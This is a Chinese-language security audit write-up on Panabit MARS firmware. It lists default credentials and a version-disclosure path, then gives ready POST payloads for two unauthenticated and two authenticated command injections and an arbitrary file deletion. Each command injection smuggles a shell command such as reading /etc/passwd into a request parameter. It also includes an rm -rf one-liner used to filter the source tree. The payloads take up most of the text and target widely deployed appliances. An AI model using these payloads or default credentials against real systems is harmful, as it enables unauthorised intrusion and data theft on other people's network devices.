0x00 前言
影响版本: <= MARS r10p1Free 影响范围:1.2w-1.4w
访问:/cretime.txt 文件可查看版本.
默认账密:admin|panabit
并且这里能下载固件源码: https://www.panabit.com/cn/product/2021/0107/379.html
下载下来 发现web目录在 \usr\logd\www\
直接开始审计
首先要挖前台的漏洞 那么需要鉴权的文件是必不可有的. 这里使用命令删除所有包含鉴权代码的文件.
rm -rf $(grep -ril 'chksession()' ./)
0x01 前台任意命令执行
命令执行点1
这里定位到一处命令执行.
发现其通过Username参数传递进去 利用Exec执行命令 未做过滤 但是命令没有回显.
传入参数:
POST /account/sy_query.php
username=|cat /etc/passwd >1.txt
命令执行点2
定位到第二处前台命令执行.
这里传递了三个参数(Get传入或Post传入都是可以的):Token id host
只需要符合下列条件即可触发命令执行.
if (empty($token) || $id < 0 || $id == "") {
outputres("no", "ERROR: INVALID_PARAM");
exit;
}
Payload:
POST /content-apply/libres_syn_delete.php
token=1&id=2&host=|cat /etc/passwd >222.txt
0x02 后台任意命令执行
执行点1
/ajax_ping.php
这里post传递了ipaddr函数 带入exec命令执行.
Payload:
POST /ajax_ping.php HTTP/1.1
ipaddr=|id >2.txt
执行点2
/fetchfile.php
post传递了filename,nodeip,type参数可控,带入exec造成命令执行.
Payload:
POST /fetchfile.php HTTP/1.1
type=downloadfile&filename=|id >5.txt
0x03 后台任意文件删除
定位到一处删除文件操作. /deletefile.php
这里传递了filename参数 并调用unlink函数删除文件.
Payload:
POST /deletefile.php HTTP/1.1
filename=5.txt